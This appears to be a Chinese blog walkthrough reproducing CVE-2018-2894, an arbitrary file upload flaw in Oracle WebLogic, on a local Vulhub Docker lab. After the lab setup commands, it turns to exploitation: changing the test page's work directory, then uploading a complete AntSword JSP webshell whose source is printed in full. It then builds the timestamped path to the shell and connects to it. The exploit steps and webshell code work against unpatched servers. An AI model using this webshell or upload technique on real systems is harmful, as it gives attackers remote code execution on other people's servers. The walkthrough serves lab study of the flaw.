Weblogic - V12.2.1.3 - 任意文件上传漏洞 - CVE-2018-2894

0x01:漏洞简介

Weblogic 的 Web Service Test Page 存在任意文件上传漏洞,攻击者可以通过上传任意 jsp 文件进而获取服务器权限。漏洞存在于 /ws_utc/config.do/ws_utc/begin.do(这个页面说实话,笔者也不知道有啥用)两个页面上。

值得注意的是,Web Service Test Page 在 "生产模式" 下默认是关闭的,所以对该漏洞的利用存在一定的限制。

0x02:影响版本

  • weblogic 10.3.6.0

  • weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3

0x03:环境搭建

环境准备

  • VulHub 本地资源存储:vulhub-master.zip

  • 靶机环境:CentOS 7 - IP 192.168.0.137 - 安装 VulHub

  • 攻击机环境:Windows 10(安装了常用的安全工具)- IP 192.168.0.1

0x0301:靶机环境搭建

靶机:CentOS 7 服务器配置概览

  • Docker & Docker 管理工具:Docker & Docker-Compose - 用来管理 Vulhub 靶场。

  • Git:用来从 GitHub 下载 Vulhub 靶场。

这里我们采用 Vulhub 来进行漏洞的复现,而 Vulhub 需要依靠 docker 来进行管理,对于 CentOS 7 安装 Docker 可以参考下面这篇文章的前两个部分(Docker & Docker-Compose 的安装):

复制代码
ARL 灯塔 | CentOS7 --- ARL 灯塔搭建流程(Docker)_灯塔arl-CSDN博客文章浏览阅读3.4k次,点赞59次,收藏23次。灯塔,全称:ARL 资产侦察灯塔系统,有着域名资产发现和整理、IP/IP 段资产整理、端口扫描和服务识别、WEB 站点指纹识别、资产分组管理和搜索等等功能块。_灯塔arl![](https://g.csdnimg.cn/static/logo/favicon32.ico)https://blog.csdn.net/m0_73360524/article/details/143098904

下面我们主要介绍 CentOS 7 如何通过 Git 来安装 Vulhub 靶场,并通过 Docker 来对靶场进行管理和使用。

1. CentOS 7 安装 Git

首先,输入下面的命令安装 Git:

bash 复制代码
 sudo yum install -y git

然后输入下面的命令校验 Git 是否安装成功:

bash 复制代码
 git --version

2. Git 下载 Vulhub 靶场源码

复制代码
https://github.com/vulhub/vulhub![](https://csdnimg.cn/release/blog_editor_html/release2.3.7/ckeditor/plugins/CsdnLink/icons/icon-default.png)https://github.com/vulhub/vulhub

输入下面的命令在 /usr/local 文件夹下创建一个 soft 文件夹用以存放安装的软件:

bash 复制代码
 mkdir /usr/local/soft   # 创建 soft 文件夹
 cd /usr/local/soft      # 进入 soft 文件夹

然后进入 soft 文件夹,输入下面的命令,克隆 Vulhub 项目到本地:

bash 复制代码
 git clone https://github.com/vulhub/vulhub.git

(可选)如果你无法直接访问到 GitHub,可以通过前面的 "环境准备" 部分直接下载笔者下载好的 VulHub 资源然后上传到服务器中进行安装(笔者也是这样操作的):

bash 复制代码
 unzip vulhub-master.zip # 解压操作(可选),直接通过 Git 下载的应该不需要解压吧

通过上面两种方式安装完成后,结果应该长这样:

3. 通过 Docker 启动靶场环境

本次演示的是 Weblogic 的 "CVE 2018-2894" 漏洞。首先来到 VulHub 的安装路径:

bash 复制代码
 cd /usr/local/soft/vulhub-master # 这是我本机安装的目录,可能与你的不一样哦

然后进入漏洞文件夹:

bash 复制代码
cd weblogic/CVE-2018-2894

接下来的命令都要在靶场根目录下执行,也就是有 docker-compose.yml 文件的这个目录(docker-compose 需要通过读取这个文件来快速配置靶场,如果执行命令的地方没有这个文件,docker-compose 是不起作用的哦)。

输入下面的命令直接启动容器(第一次启动它会拉取镜像,会比较慢,然后有部分小伙伴在拉取镜像的时候会报错,这是因为其默认的镜像源在国外,国内访问不到,换个 Docker 镜像源就行):

bash 复制代码
docker-compose up -d # -d 代表后台启动,如果去掉就是前台启动了

然后输入下面命令,查看 Docker 开启的虚拟环境的端口:

bash 复制代码
docker ps

接下来直接访问靶机的 7001 端口就可以访问漏洞环境啦:

bash 复制代码
http://192.168.0.137:7001/console

问题解决:物理机无法访问靶机内部的靶场地址。

问题描述: 通过靶机中的 Docker 启动的虚拟环境,靶机可以访问,但是物理机无法访问。 问题解决:

输入下面的命令,修改 selinux/config 文件中的内容:

bash 复制代码
vim /etc/selinux/config

关机重启虚拟机后回到我们的靶场目录下,输入下面的命令查看容器 ID:

bash 复制代码
docker ps -a

然后输入下面的命令,重新启动虚拟环境即可(不同机器的容器 ID 是不一样的):

bash 复制代码
docker start <容器ID> # 比如上面我的 ID 是 ab84,那我运行的就是 docker start ab84

等待靶机部署完毕后,就会自动跳到 Weblogic 的后台页面啦(下面这张图就是个示意,不是本次复现的真实环境哈,本次复现的页面应该显示的是 12g 版本的):

至此,靶机的环境我们已经配置完毕。

4. (附录)Docker 常用命令

以下是一些经常使用的 docker-compose 命令(需要在有 docker-compose.yml 的文件夹下使用):

bash 复制代码
docker-compose build # 拉取镜像,创建容器
docker-compose up -d # 启动容器,如果没有容器会自动拉取镜像,创建容器
docker-compose stop  # 停止容器(靶场),容器依旧存在可以通过 docker start <容器ID> 重启启动容器
docker-compose down  # 删除容器(靶场)

以下是一些 docker 常用的命令:

bash 复制代码
docker version # 查看本机 docker 版本
docker info    # 查看 docker 详细信息
docker ps -a   # 列出所有 docker 容器,包括暂停运行的,可查看容器 ID
docker start <容器 ID> # 启动容器
docker stop  <容器 ID> # 暂停容器
docker exec -it <容器 ID> /bin/bash # 进入容器 Bash
    exit       # 退出容器 Bash 
docker rm <容器 ID>    # 删除容器
docker image rm <镜像 ID> # 删除镜像

0x0302:攻击机环境搭建

攻击机没有什么特殊的环境搭建,安装了 BurpSuite 和 "中国蚁剑" 就可以了(BP 咱都可以不用的)。

0x04:漏洞复现

0x0401:靶机不安全的配置

因为该漏洞是由于我们后台一个不安全的设置构成的,所以我们得先进入后台,去开启这个设置。

在靶机上输入下面的命令,拿到 Weblogic 的管理员密码:

bash 复制代码
docker-compose logs | grep password

然后访问 weblogic 的后台地址,并使用 weblogic : B6aBLbOJ 进行登录:

bash 复制代码
http://192.168.0.137:7001/console/

然后点击左侧的 "base_domain",选择 "高级":

然后定位到 "启用 Web 服务测试页" 的选项,勾选后选择保存(本次漏洞的产生原因很可能就是开发者将产品上线后忘了关闭这个 "测试页" 所导致的):

0x0402:CVE-2018-2894 漏洞利用

访问 /ws_utc/config.do,进入测试页,第一次访问 weblogic 会进行页面部署,部署完成后就会跳到测试页面:

bash 复制代码
http://192.168.0.137:7001/ws_utc/config.do

将 Work Home Dir 修改为下面的内容并点击提交:

bash 复制代码
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

然后准备一个 JSP 的后门木马,下面是 "中国蚁剑" 的配套 JSP 木马,密码是 passwd

java 复制代码
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

然后点击 "安全" => "添加",将我们上面的木马上传:

然后右击 "检查页面",打开开发者工具,定位到我们刚刚上传文件的序号处,成功拿到文件上传的时间戳:

java 复制代码
1737292242941

然后将时间戳拼接到下面的链接中即可访问到后门文件:

java 复制代码
/ws_utc/css/config/keystore/[时间戳]_[上传文件名].jsp

比如,我上传的后门文件叫 antshell.jsp,其时间戳是 1737292242941,那么我访问下面这个路径就可以拿到 Shell 了:

java 复制代码
http://192.168.0.137:7001/ws_utc/css/config/keystore/1737292242941_antshell.jsp

我们使用中国蚁剑连接一下看看:

如上,成功连接上后门程序,那么至此,CVE 2018-2894 漏洞利用成功。

相关推荐
用户962377954485 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主6 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954488 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher10 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行13 天前
网络安全总结
安全·web安全